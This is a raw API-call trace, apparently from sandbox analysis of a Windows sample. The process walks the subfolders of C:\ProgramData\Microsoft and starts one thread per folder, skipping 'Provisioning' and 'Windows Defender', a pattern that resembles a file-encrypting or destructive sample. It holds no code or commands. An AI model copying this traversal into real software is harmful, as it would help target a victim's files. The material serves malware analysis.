	[0073.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708
	[0073.851] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
	[0073.851] wcscmp (_String1="NetFramework", _String2=".") returned 1
	[0073.851] wcscmp (_String1="NetFramework", _String2="..") returned 1
	[0073.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85a20
	[0073.851] wcscpy (in: _Dest=0x2d85a20, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.851] wcscat (in: _Dest=0x2d85a20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.851] wcscat (in: _Dest=0x2d85a20, _Source="NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0073.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c
	[0073.852] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
	[0073.852] wcscmp (_String1="Network", _String2=".") returned 1
	[0073.852] wcscmp (_String1="Network", _String2="..") returned 1
	[0073.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2d8a860
	[0073.852] wcscpy (in: _Dest=0x2d8a860, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.852] wcscat (in: _Dest=0x2d8a860, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.852] wcscat (in: _Dest=0x2d8a860, _Source="Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0073.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8a860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710
	[0073.853] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0073.853] wcscmp (_String1="Office", _String2=".") returned 1
	[0073.853] wcscmp (_String1="Office", _String2="..") returned 1
	[0073.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d735d0
	[0073.853] wcscpy (in: _Dest=0x2d735d0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.853] wcscat (in: _Dest=0x2d735d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.853] wcscat (in: _Dest=0x2d735d0, _Source="Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office"
	[0073.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d735d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714
	[0073.854] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1
	[0073.854] wcscmp (_String1="Provisioning", _String2=".") returned 1
	[0073.854] wcscmp (_String1="Provisioning", _String2="..") returned 1
	[0073.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85708
	[0073.854] wcscpy (in: _Dest=0x2d85708, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.854] wcscat (in: _Dest=0x2d85708, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.854] wcscat (in: _Dest=0x2d85708, _Source="Provisioning" | out: _Dest="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0073.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85708) returned 1
	[0073.854] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
	[0073.854] wcscmp (_String1="Search", _String2=".") returned 1
	[0073.854] wcscmp (_String1="Search", _String2="..") returned 1
	[0073.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d730c0
	[0073.854] wcscpy (in: _Dest=0x2d730c0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.854] wcscat (in: _Dest=0x2d730c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.854] wcscat (in: _Dest=0x2d730c0, _Source="Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search"
	[0073.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d730c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718
	[0073.855] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1
	[0073.855] wcscmp (_String1="Settings", _String2=".") returned 1
	[0073.855] wcscmp (_String1="Settings", _String2="..") returned 1
	[0073.855] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2d8ac70
	[0073.855] wcscpy (in: _Dest=0x2d8ac70, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.855] wcscat (in: _Dest=0x2d8ac70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.855] wcscat (in: _Dest=0x2d8ac70, _Source="Settings" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings") returned="C:\\ProgramData\\Microsoft\\Settings"
	[0073.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8ac70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c
	[0073.856] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1
	[0073.856] wcscmp (_String1="SmsRouter", _String2=".") returned 1
	[0073.856] wcscmp (_String1="SmsRouter", _String2="..") returned 1
	[0073.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2d8b080
	[0073.856] wcscpy (in: _Dest=0x2d8b080, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.856] wcscat (in: _Dest=0x2d8b080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.856] wcscat (in: _Dest=0x2d8b080, _Source="SmsRouter" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter") returned="C:\\ProgramData\\Microsoft\\SmsRouter"
	[0073.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8b080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720
	[0073.857] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1
	[0073.857] wcscmp (_String1="Spectrum", _String2=".") returned 1
	[0073.857] wcscmp (_String1="Spectrum", _String2="..") returned 1
	[0073.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2d8af90
	[0073.857] wcscpy (in: _Dest=0x2d8af90, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.857] wcscat (in: _Dest=0x2d8af90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.857] wcscat (in: _Dest=0x2d8af90, _Source="Spectrum" | out: _Dest="C:\\ProgramData\\Microsoft\\Spectrum") returned="C:\\ProgramData\\Microsoft\\Spectrum"
	[0073.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8af90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724
	[0073.858] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1
	[0073.858] wcscmp (_String1="Speech_OneCore", _String2=".") returned 1
	[0073.858] wcscmp (_String1="Speech_OneCore", _String2="..") returned 1
	[0073.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85810
	[0073.858] wcscpy (in: _Dest=0x2d85810, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.858] wcscat (in: _Dest=0x2d85810, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.858] wcscat (in: _Dest=0x2d85810, _Source="Speech_OneCore" | out: _Dest="C:\\ProgramData\\Microsoft\\Speech_OneCore") returned="C:\\ProgramData\\Microsoft\\Speech_OneCore"
	[0073.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728
	[0073.859] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1
	[0073.859] wcscmp (_String1="Storage Health", _String2=".") returned 1
	[0073.859] wcscmp (_String1="Storage Health", _String2="..") returned 1
	[0073.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85c30
	[0073.859] wcscpy (in: _Dest=0x2d85c30, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.859] wcscat (in: _Dest=0x2d85c30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.859] wcscat (in: _Dest=0x2d85c30, _Source="Storage Health" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health") returned="C:\\ProgramData\\Microsoft\\Storage Health"
	[0073.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c
	[0073.860] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1
	[0073.860] wcscmp (_String1="UEV", _String2=".") returned 1
	[0073.860] wcscmp (_String1="UEV", _String2="..") returned 1
	[0073.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73618
	[0073.860] wcscpy (in: _Dest=0x2d73618, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.860] wcscat (in: _Dest=0x2d73618, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.861] wcscat (in: _Dest=0x2d73618, _Source="UEV" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV") returned="C:\\ProgramData\\Microsoft\\UEV"
	[0073.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730
	[0073.861] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0073.861] wcscmp (_String1="User Account Pictures", _String2=".") returned 1
	[0073.861] wcscmp (_String1="User Account Pictures", _String2="..") returned 1
	[0073.861] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733938
	[0073.861] wcscpy (in: _Dest=0x4733938, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.861] wcscat (in: _Dest=0x4733938, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.861] wcscat (in: _Dest=0x4733938, _Source="User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0073.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734
	[0073.862] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
	[0073.862] wcscmp (_String1="Vault", _String2=".") returned 1
	[0073.862] wcscmp (_String1="Vault", _String2="..") returned 1
	[0073.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73660
	[0073.862] wcscpy (in: _Dest=0x2d73660, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.862] wcscat (in: _Dest=0x2d73660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.862] wcscat (in: _Dest=0x2d73660, _Source="Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault"
	[0073.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738
	[0073.863] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1
	[0073.863] wcscmp (_String1="WDF", _String2=".") returned 1
	[0073.863] wcscmp (_String1="WDF", _String2="..") returned 1
	[0073.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73078
	[0073.863] wcscpy (in: _Dest=0x2d73078, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.863] wcscat (in: _Dest=0x2d73078, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.863] wcscat (in: _Dest=0x2d73078, _Source="WDF" | out: _Dest="C:\\ProgramData\\Microsoft\\WDF") returned="C:\\ProgramData\\Microsoft\\WDF"
	[0073.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c
	[0073.864] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0073.864] wcscmp (_String1="Windows", _String2=".") returned 1
	[0073.864] wcscmp (_String1="Windows", _String2="..") returned 1
	[0073.864] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2d8adb0
	[0073.864] wcscpy (in: _Dest=0x2d8adb0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.864] wcscat (in: _Dest=0x2d8adb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.864] wcscat (in: _Dest=0x2d8adb0, _Source="Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0073.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8adb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740
	[0073.865] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0073.865] wcscmp (_String1="Windows Defender", _String2=".") returned 1
	[0073.865] wcscmp (_String1="Windows Defender", _String2="..") returned 1
	[0073.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d779c0
	[0073.865] wcscpy (in: _Dest=0x2d779c0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.865] wcscat (in: _Dest=0x2d779c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.865] wcscat (in: _Dest=0x2d779c0, _Source="Windows Defender" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender"
	[0073.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d779c0) returned 1
	[0073.865] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0073.865] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2=".") returned 1
	[0073.865] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2="..") returned 1
	[0073.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x2d78680
	[0073.865] wcscpy (in: _Dest=0x2d78680, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.865] wcscat (in: _Dest=0x2d78680, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.865] wcscat (in: _Dest=0x2d78680, _Source="Windows Defender Advanced Threat Protection" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection"
	[0073.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d78680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744
	[0073.866] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1
	[0073.866] wcscmp (_String1="Windows Live", _String2=".") returned 1
	[0073.866] wcscmp (_String1="Windows Live", _String2="..") returned 1
	[0073.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85ce0
	[0073.866] wcscpy (in: _Dest=0x2d85ce0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.866] wcscat (in: _Dest=0x2d85ce0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.866] wcscat (in: _Dest=0x2d85ce0, _Source="Windows Live" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live") returned="C:\\ProgramData\\Microsoft\\Windows Live"
	[0073.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748
